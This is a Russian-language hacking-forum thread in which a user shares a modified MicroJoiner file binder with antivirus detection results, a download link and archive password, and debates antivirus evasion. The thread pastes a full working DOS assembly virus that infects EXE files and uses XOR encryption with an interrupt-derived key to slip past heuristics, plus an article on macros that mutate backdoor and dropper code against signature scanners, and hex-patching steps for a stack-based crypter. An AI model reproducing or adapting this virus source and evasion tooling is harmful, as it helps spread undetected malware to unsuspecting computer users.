• XSS.stack #1 – первый литературный журнал от юзеров форума

MicroJoiner

salamandra

(L3) cache
Пользователь
Регистрация
26.06.2006
Сообщения
264
Реакции
7
Слегка модефецированный
MicroJoiner!Склейка не палится большенством антевирусов:
Antivirus Version Update Result
AntiVir 6.35.1.0 08.13.2006 no virus found
Authentium 4.93.8 08.13.2006 no virus found
Avast 4.7.844.0 08.10.2006 no virus found
AVG 386 08.11.2006 no virus found
BitDefender 7.2 08.13.2006 Trojan.Dropper.Microjoin.J
CAT-QuickHeal 8.00 08.12.2006 (Suspicious) - DNAScan
ClamAV devel-20060426 08.13.2006 no virus found
DrWeb 4.33 08.13.2006 no virus found
eTrust-InoculateIT 23.72.95 08.13.2006 Win32/Grams.Variant!Trojan
eTrust-Vet 30.3.3016 08.13.2006 no virus found
Ewido 4.0 08.13.2006 no virus found
Fortinet 2.77.0.0 08.12.2006 suspicious
F-Prot 3.16f 08.13.2006 no virus found
F-Prot4 4.2.1.29 08.13.2006 no virus found
Ikarus 0.2.65.0 08.11.2006 no virus found
Kaspersky 4.0.2.24 08.13.2006 no virus found
McAfee 4828 08.13.2006 no virus found
Microsoft 1.1508 08.04.2006 no virus found
NOD32v2 1.1704 08.11.2006 no virus found
Norman 5.90.23 08.11.2006 no virus found
Panda 9.0.0.4 08.13.2006 Suspicious file
Sophos 4.08.0 08.13.2006 no virus found
Symantec 8.0 08.13.2006 no virus found
TheHacker 5.9.8.191 08.13.2006 no virus found
UNA 1.83 08.11.2006 no virus found
VBA32 3.11.0 08.13.2006 suspected of Malware.Microjoin.1
VirusBuster 4.3.7:9 08.13.2006 no virus found

Склеивались два безобидных файла!
Испоьзовала простое хор шифрование!
Сам же джойнер по прежнему палится!
Но это не главное!Главное ведь склейка!
Пароль на архив 123

Да и забыла сказать,что всё будет работать только при включённой по умолчанию опцией паковать!

Файл перезалила!В старом кое что исправила!
Download-Link: http://rapidshare.de/files/29353403/MicroJoiner.rar.html
 
2 BUG(O)R: не поняла что тебя не устраивает ?

у MJ обычно палится стаб , здесь судя по результатм он не палится
 
Маринка

Марина, ты ещё пешком по стол ходила, когда эвристики уже умели подобные алгоритмы эмулировать. Я конечно спорить не буду и проверять мне лень, но если склеить палящийся файл, то АВ спалит это дело, а если даже и не спалит, то это до первого попадания в одну и лабораторий АВ.
 
Не кто и не спорит что если склеить палёного трояна то аверы сразу завизжат!
Тут про склейку а не то что внутри!Потому как если склеить два безобидных файла не изменённым джойнером то аверы тоже ничего хорошего не скажут!
И тут простой хор и ничего лишнего!Если к нему добавить ещё что нить то и не выкидывать на паблик то в базу это не скоро попадёт!И эвристики у антевирей н такие уж совершенные и это всё решается!
 
Не кто и не спорит что если склеить палёного трояна то аверы сразу завизжат!

А почему так происходит ты не подумал? Потому что эвристики АВ легко эмулируют твой алго. Очень сильный движок например у Битдефендера, что как раз и видно по результатам.
 
бугор : смысла склеивать палящиеся файлы все равно нет
они запалятся при распаковке
 
Маринка

Ты наверное имела ввиду не при распаковке, а после неё, когда программа уже в памяти, т.е. когда ты попытаешься запустить файл?
 
я имела ввиду распаковку когда файлы записываются на диск
ну или запускаются после этого ( зависит от настроек антивируса, проверять ли создаваемые файлы)
 
Очень сильный движок например у Битдефендера, что как раз и видно по результатам.
А на фига мне какие то другие движки сюда выкладывать!
:) Этот крипт был вчера туда дописан от скуки ради!
А движок не спорю можно и усовершенствоть!Криптовать ещё и то что клееш до кучи!Зделать полиморфным!мусора кил на несколько накидать!
 
я имела ввиду распаковку когда файлы записываются на диск
ну или запускаются после этого

А, ну пардон, конечно спалятся, я просто думал, что он исполняемые файлы из памяти запускает.

А на фига мне какие то другие движки сюда выкладывать!

Что значит выкладывать?

Зделать полиморфным!мусора кил на несколько накидать!

Что сделать полиморфным? Простейший мусор не поможет, он спокойно обходится тем же BitDefender'om
 
Паблик он и есть паблик!А про проситой мусор не кто и не говорит!В криптор можно антиотладку добавить!И то что антевирь эмулировать не сможет!Зашифровать и декриптор ещё!переход на ОЕР делать не явным а например будет искать его по всему файлу!Ключь расшифровки зделать результатом выполнения какой нить функции!
Да об этом туторов написано немерено!
Добавлено в [time]1155576537[/time]
Можно криптостековым зделать!Расшифровка в стеке будет происходить
Да чего тут говорить!Всё можно если захочеш!
 
salamandra

В криптор можно антиотладку добавить

А анти-отладка-то здесь причём? Кто его отлаживать собрался?

И то что антевирь эмулировать не сможет!

Например.

Зашифровать и декриптор ещё!

А расшифровывать декриптор, кто будет? Дед мороз или тоже участок кода?

переход на ОЕР делать не явным а например будет искать его по всему файлу!

Подробнее.

Ключь расшифровки зделать результатом выполнения какой нить функции!

Я не пойму, ты от кого скрыть-то хочешь? От АВ или от горекрякеров?
Да и причём здесь туторы, хочешь сказать мне RTFM?)


Да чего тут говорить!Всё можно если захочеш!

А кто с этим спорит-то?))
 
:) Эх блин!Антиотладка!Потому как в антевирусе в эмуле свой отладчик!
Расшифровывать декриптор будет естественно участок кода!А что же ещё!
искать ОЕР по всему файлу так ты сам с усам!Ключь расшифровки результатом какой нить функции так это опять же против эмуля!А всё это делается что б как можно больше усложнить аверу его поиски!Пример!Вот один из примеров!

вот статья с www.xakep.ru

Здравствуйте, дорогие мои VX-еры и AV-еры (если прочитаете...) В этой маленькой, но очень познавательной статье хочу рассказать вам как можно скрыть свое вирусное детище от супер-мощных-современных антивирусных программ. Данный метод тестировался на касперском антивирусе 4.5, но думаю прокатит и с другими творениями AV индустрии... Сразу скажу, что метод не под Win32 программирование, за что меня сердечно простите. Но данная фича совместима с виндами, если так можно сказать. Хватит болтать, давай к делу...

Как нам всем известно, антивирусы реагируют на определенные байты в твоем вире, например на чтение заголовка ехе или его перезапись. Точнее на это реагирует эвристик, и разные антиэвристичные техники пытаются это преодолеть. Но эти заразы (эвристики) становятся все умней и умней и все меньше ведутся на эти фишки, а меж тем обидно, когда твой супер-пупер вирус спалился эвристиком как какой-нить ехе-virus или что-нить еще (смотря что пишешь). Есть два способа этого избежать: заняться антиэвристикой или зашифровать критичные участки кода. Я расскажу о последнем, т.к. криптография РУЛИТ...

Как мы все знаем суть шифрования заключается в том, чтобы по определенному алгоритму зашифровать байты определенным ключом. Но вот беда, ключ надо где-то хранить чтобы потом расшифровать, и тут аверы начинают портить воздух (на то они и аверы). Эвристик выполняя код, определяет в каком месте находится ключик (причем с твоей же помощью. Почему? узнай что такое эвристик), расшифровывает подозрительные байты и начинает орать. Для понимания схема:



Кстати процедура шифровки\расшифровки (ШР) и ключик могут быть где угодно, если кто не знает. И когда вирь доходит до нужного нам места (в схеме перед криптованной частью) он вызывает ШР-процедуру, берет ключ и делает код работоспособным (должен заметить, что при запуске первого поколения нужное нам место должно быть уже закриптовано нашим ключом). Затем, когда эта часть кода выполнилась, мы опять калим ШР и намертво зашифровываемся, а потом пишемся в жертву например (если ехе инфектор). Для примера ШР-процедура самая простая, будем использовать XOR и все:

coder:
xor si,si
mov si,cs:[bp+offset cod1] ;индексный регистр = месту с которого шифруем
mov cx,end_cod1-cod1 ;сколько байт шифруем
codr: ;цикл шифровки
xor byte ptr cs:[bp+si],ah ;ксорим байт на ah(ключ)
inc si ;si=si+1
loop codr
ret ;выход из процедуры шифровки
;......................................
cod1:
;
;что кодируем
;
end_cod1:
;......................................

Криптография не фонтан, но для примера подойдет. Ключ у нас заранее уже в ah, для простоты это один байт взятый из специального места отведенного для него:

mov ah[bp+offset key]
;........................
;........................
key db 00h

Эвристик запуская твой вирь прекрасно находить ключ, декодит все что мы так хотели скрыть, видит подозрительный код и сигнализирует юзверю. По сути дела антивирь создает виртуальный компьютер и выполняет прогу, которая хочет стартовать, смотрит что она делает и если что-то ему не нравиться, то прога не грузится на настоящей машине. Но создать полноценную виртуальную машину (ВМ) трудно, еще труднее загрузить в нее все функции ОС, и не одной, а нескольких. Вот поэтому у меня возникла идея о неполноценности их ВМ. Следовательно брать ключ можно не из своего тела, а получать его в качестве результата выполнения какой нить функции (прерывания) ОС, которую антивирус не может эмулировать. В качестве этого прерывания (ф-и) мы возьмем получение свободного места на диске. Вот интерфейс

INT 21 36-- - DOS 2+ - GET FREE DISK SPACE

Inp.:
AH = 36h
DL = drive number (00h = default, 01h = A:, etc)
Return: AX = FFFFh if invalid drive
else
AX = sectors per cluster
BX = number of free clusters
CX = bytes per sector
DX = total clusters on drive

Нас интересует значение в случае неправильной буквы диска, например dl=40h. Нам в ax вернется FFFFh, т.е это константа в любом случае, и мы можем использовать это значение в качестве ключа в любых ОСях и в любых поколениях вирей. Каспер в этом случае сосет да еще и причмокивает... Наша процедура шифрования будет выглядеть так:

coder: ;ШР процедура
mov dl,40h ;несуществующий диск
mov ah,36h ;прерывание сколько осталось места на нем
int 21h
lea si,cs:[bp+offset cod1] ;адрес откуда шифруем
mov cx,end_cod1-cod1 ;сколько шифруем
cdr: ;цикл шифровки
xor cs:[si],ah
inc si
loop cdr
ret

Все понятно... Букв в лат. алфавите всего 26, а 40h явно больше чем 27, и поэтому нам вернется в ax значение FFFFh - им мы и шифруем, точнее FFh. Но как я говорил раньше, в первом поколении надо позаботиться о том, чтобы то место, которое мы выберем целью в нашем вирусе было зашифровано. Я пошел по пути наименьшего сопротивления. Я не стал придумывать какие либо алгоритмы определяющие первое это поколение вируса или нет, а просто написал прогу, которая шифрует нужное место в теле вируса. Прога вышла довольно ламерская, поэтому сорцы оставим на моей совести - вы с легкостью сможете их воспроизвести сами.

Надо еще продумать все ситуации шифровки\расшифровки, а то зашифруете что-нить нужное и не заработает ваше творение, или вообще забудете обратно все зашторить и спалит вас антивирус. Вы не думайте, что это просто, я на этой фигне долго сидел, разбираясь когда вызывать мою процедурку... Да и еще надо знать что шифровать, я для верности шторил весь блок инфицирования, кроме записи в файл. Для понимания вот рабочий код самого ламерского вируса в мире, но зато его не видит KAV. Если вы откомпилите и запустите вирь, то будите самыми последними ламерюгами. Он просто заражает все ехе файлы в дире и все, он написан только для примера к статье. Комментировать буду только те места, где надо объяснить вызов ШР процедуры.

.model tiny
.code
id = ''
org 100h
start:
call next
next:
pop bp
sub bp,offset next

push ds
push es
push cs
pop es
push cs
pop ds

lea di,[bp+offset csip2]
lea si,[bp+offset csip]
mov cx,4
rep movsw

mov ah,1ah
lea dx,[bp+offset DTA]
int 21h

find:
lea dx,[bp+offset EXEmask]
mov ah,4eh
mov cx,0007h

find_n:
int 21h
jc return

call infect

find_nn:
mov ah,4fh
lea dx,[bp+offset DTA]
jmp find_n

return:
pop es
pop ds

mov dx,80h
mov ah,1ah
int 21h

restore_EXE:
mov ax,ds
add ax,10h
add cs:[bp+word ptr CSIP2+2],ax
add cs:[bp+word ptr SPSS2],ax
cli
mov ss,cs:[bp+word ptr SPSS2]
mov sp,cs:[bp+word ptr SPSS2+2]
sti

push cs:[bp+dword ptr CSIP2]
db 11001011b

infect:
mov ax,3d02h
lea dx,[bp+DTA+30]
int 21h
xchg ax,bx
call coder ;нам надо раскодировать нужное место
cod: ;ведь вы его перед этим уже заксорили???
mov ah,3fh
mov cx,1ah
lea dx,[bp+offset buffer]
int 21h


mov ax,4202h
xor cx,cx
xor dx,dx
int 21h

cmp word ptr [bp+offset buffer],'ZM'
jnz close

cmp word ptr [bp+offset buffer+10h],id
jz close

lea si,[bp+buffer+14h]
lea di,[bp+CSIP]
movsw
movsw

sub si,0ah
movsw
movsw

push bx
mov bx,word ptr [bp+buffer+8]
mov cl,04h
shl bx,cl

push dx
push ax

sub ax,bx
sbb dx,0000h

mov cx,10h
div cx

mov word ptr [bp+buffer+0eh],ax
mov word ptr [bp+buffer+14h],dx
mov word ptr [bp+buffer+10h],id
mov word ptr [bp+buffer+16h],ax

pop ax
pop dx

add ax,heap-start
adc dx,0000h

mov cl,09h
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,0001h

mov word ptr [bp+buffer+2],ax
mov word ptr [bp+buffer+4],dx

pop bx

call coder ;а здесь мы обратно кодируем,
;а потом пишемся в жертву

mov cx,heap-start
lea dx,[bp+offset start]
mov ah,40h
int 21h

mov ax,4200h
xor cx,cx
xor dx,dx
int 21h

mov cx,1ah
lea dx,[bp+offset buffer]
mov ah,40h
int 21h

close:
cmp ax,1ah ;а здесь мы проверяем если файл нам не подошел
jz skip ;то кодимся обратно чтобы раскодиться потом
call coder
skip:
mov ah,3eh
int 21h
ret

coder:
mov dl,40h
mov ah,36h
int 21h
lea si,cs:[bp+offset cod]
mov cx,79h ;байты считал ручками при ассемблирование
cdr:
xor cs:[si],ah
inc si
loop cdr
ret
;-------------------------------------------
CSIP2 dd ?
SPSS2 dd ?
CSIP dd 0fff00000h
SPSS dd ?
EXEmask db "*.exe",0
DTA db 43 dup (?)
buffer db 1ah dup (?)
heap:
end start;

Вот в принципе и все, надо просто определить где вызывать процедуру. Это был самый простой пример. Напишите что-нибуд свое... Сделайте сложный алгоритм шифрования, используйте сопроцессор, разные функции для получения ключа, одним словом превратите жизнь аверов в ад, чтобы им пришлось искать сигнатуры, т.к. расшифровывать процедуру и добавлять новые функции в эвристик им лень. А нам это на руку - можно побольше поюзать эту фишку.
Добавлено в [time]1155578759[/time]
И Нафиг больше этот флейм!
 
Взято с http://vx.netlux.org/tpoc/
Макросы для случайной замены кода на альтернативный.

Впервые идея была продемонстрирована в DVL #7, статья "Way To Full Morphing" (с) 2b 1999 г.

Цель создания приведенных здесь макросов - упрощение создания недетектируемых посредством сигнатурного поиска вариантов "программ", которые уже стали известны антивирусному ПО. Наибольшую пользу этот метод может принести в случае создания различного рода dropper'ов, trojan'ов и тому подобной живности.

Представим следующую ситуацию: был создан, скажем, backdoor, который затем был вручную распространен на некоторое количество машин, и после того, как хотя бы одна копия вредоносной программы была выявлена бдительным пользователем и попала в руки антивирусникам, продолжительность жизни остальных копий на инфицированных машинах незначительно превысит время скачивания очередного апдейта к антивирусу. Теперь представим ту же ситуацию, но при условии, что код каждой копии распространяемого backdoor'а был несколько изменен. Таким образом, попадание сигнатуры одной из копий в антивирусную базу, теоретически не означает гибель всех оставшихся функционирующих аналогов. Ну а собственно макросы призваны выполнять это незначительное видоизменение кода (без изменения алгоритма) при каждой компиляции исходника автоматически, облегчая тем самым нам жизнь. Какие изменения могут производиться в коде?! Начиная от банальных замен mov на push/pop и заканчивая всевозможными атрибутами, свойственными полиморфным расшифровщикам (вставка мусорных инструкций, различные операции с операндами команд и т.д. и т.п.). В макросах, приведенных здесь, реализован лишь самый минимум, которого впрочем, вполне достаточно, чтобы заткнуть рот сигнатурному сканеру KAV'а.

Теперь о том, как используются макросы. Макросы заточены под MASM, но их адаптация под любой другой компилятор, поддерживающий макроязык, думаю не должна занять много времени. Итак, как только приложение дописано и отлажено, все поддерживаемые ассемблерные команды заменяются аналогичными им макросами. То бишь, в исходнике был код вида:
...
8B F8 | mov edi,eax
33 C9 | xor ecx,ecx
49 | dec ecx
B0 20 | mov al,20h
...
приводим его к нижеследующему виду (для автоматизации замены используется любой текстовый редактор, в том числе и встроенный в среду разработки...
меню: Edit -> Replace):
@Randomize
...
mov_ edi,eax
xor_ ecx,ecx
dec ecx
mov_ al,20h
...

Макрос @Randomize осуществляет первоначальную инициализацию генератора псевдослучайных чисел. Вызов этого макроса необходим для того, чтобы при каждой компиляции не было одинаковой цепочки генерируемых чисел и, следовательно, одинаковых замен. После компиляции один из вариантов полученного кода может выглядеть под отладчиком, например, так:
...
8D 38 | lea edi,[eax]
2B C9 | sub ecx,ecx
49 | dec ecx
B0 20 | mov al,20h
...

Естественно, что изменение контрольной суммы кода окажется абсолютно бесполезным, в случае если детектирование malware производится при помощи эмулятора.

Выражается благодарность Alex_rsd за дополнения и советы при создании макросов.

(с) DeGhost (notn@tut.by) 2005г.

архив с нужными макросами:

http://vx.netlux.org/tpoc/Files/ASGM.rar

А так же можете зайти сюда http://vx.netlux.org/tpoc/tools.htm
Найдёте для себя что нить интересное!
Добавлено в [time]1155579523[/time]
Или сюда!
http://ct757.net.ru/
 
salamandra

Спасибо, что дал вспомнить времена, когда Касперский можно было обойти разбавив код nop'ами, далёкие 90ые... найди ещё постарее статьи, дай почитать?

К тому же хотя бы эти статьи прочти нормально, вторую-то зачем выложил? Там в конце опровергается всё то за, что ты так яро ведёшь спор.
Первая статья вообще порадовала, дос форева?:)


Эх блин!Антиотладка!Потому как в антевирусе в эмуле свой отладчик!

Ну придумай способ анти-отладки, который не под силу последним версиям аверов, я думаю вряд ли это у тебя получится(методы есть, просто ты не знаешь о чём говоришь).

Расшифровывать декриптор будет естественно участок кода!А что же ещё!

Что мешает сэмулирвоать этот участок кода? А если что-то и мешает, то что мешает составить сигнатуру этого участка? А если что-то и мешает, то что мешает после этой процедуры проверить расшифрованный код? А если что-тои мешает проверить код, то авер перекидывается на другие методы.

Очень ценю твоё упортсво, я не гуру, отнють, я сам в этой теме считаю, что ничерта не понимаю, люди вон реверсят движки эвристиков разбирая километровые листинги дизасмов и вникают в логику их действий, а ты так просто тут хочешь взять и обойти, не всё так просто друг мой, тебе явно нехватает чуток знаний в этой теме, поэтому набери себе материала поновее и ненужно искать так конкретно, что-нибудь общее лучше поучи, а то пока ты некомпетентен в этом споре, заязывай.
 
Я и не спорю совершенно и согласна что знаний мне ещё маловато и учиться ещё и учитьться!Но я не зациклена на этом!И занимаюсь этим и ассемблером в общем лиш иногда когда есть желание!
Что мешает сэмулирвоать этот участок кода? А если что-то и мешает, то что мешает составить сигнатуру этого участка?
Ничего не мешает!Но для этого пройдёт какое то время и эвристики и с этим ты согласишся совсем не совершенные
И спрятать виря бывает совсем не трудно от самых современных антивирей!
Что доказывает тот хор что в микроджойнере!Они слишком ленивые что бы досконально проверять!Это уже давно проверено практикой!

Добавлено в [time]1155581253[/time]
И пора заканчивать этот трёп!
 
И в заключении если кому интересно моё старенькое моё видео,там как раз
через стек!
http://rapidshare.de/files/23415936/P.rar.html
Дополнительные пояснения:
оригинальный ентру поинт там 00429f10
на адрес 0042A071:где раньше были нули
в Hiew нажимаем f3
и на место нулей
набиваем 109F42 это 00429f10 токо наоборот
.0042A071: 109F42000000
так же по адресу
.0042A0A8: F4
.0042A0A9: A042000000
у нас 0042a0f4
токо наоборот F4A04200
по которому
0042A0F4: FFE3 jmp ebx
в ебх у нас по адресу в стеке
лежит
012FFC0 0FC8 BSWAP EAX
0012FFC2 FF30 PUSH DWORD PTR DS:[EAX]
0012FFC4 C3 RETN

Помниш эти байтики
0FC8
FF30
C3
что мы отправляли в стек
BSWAP EAX
меняем порядок байт в еах
в еах у нас 0042A071
но токо вот в таком ракурсе
71a04200
когда он принял прежний вид
0042A071
толкаем значение по этому адресу которое у нас в еах в стек
PUSH DWORD PTR DS:[EAX]
а значение у нас вот это
0042A071: 109F42000000
в стеке это значение становится
00429F10
и на него мы и возвращяемся
командой RET

:) Уф!усё!прошу строго не судить!Видео это первое и последнее наверное
и зделано немножко напутано!Потому и комменты дополнительно!
 
Спасибо, что дал вспомнить времена, когда Касперский можно было обойти разбавив код nop'ами, далёкие 90ые... найди ещё постарее статьи, дай почитать?

он и щас так же обходица %)))))))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх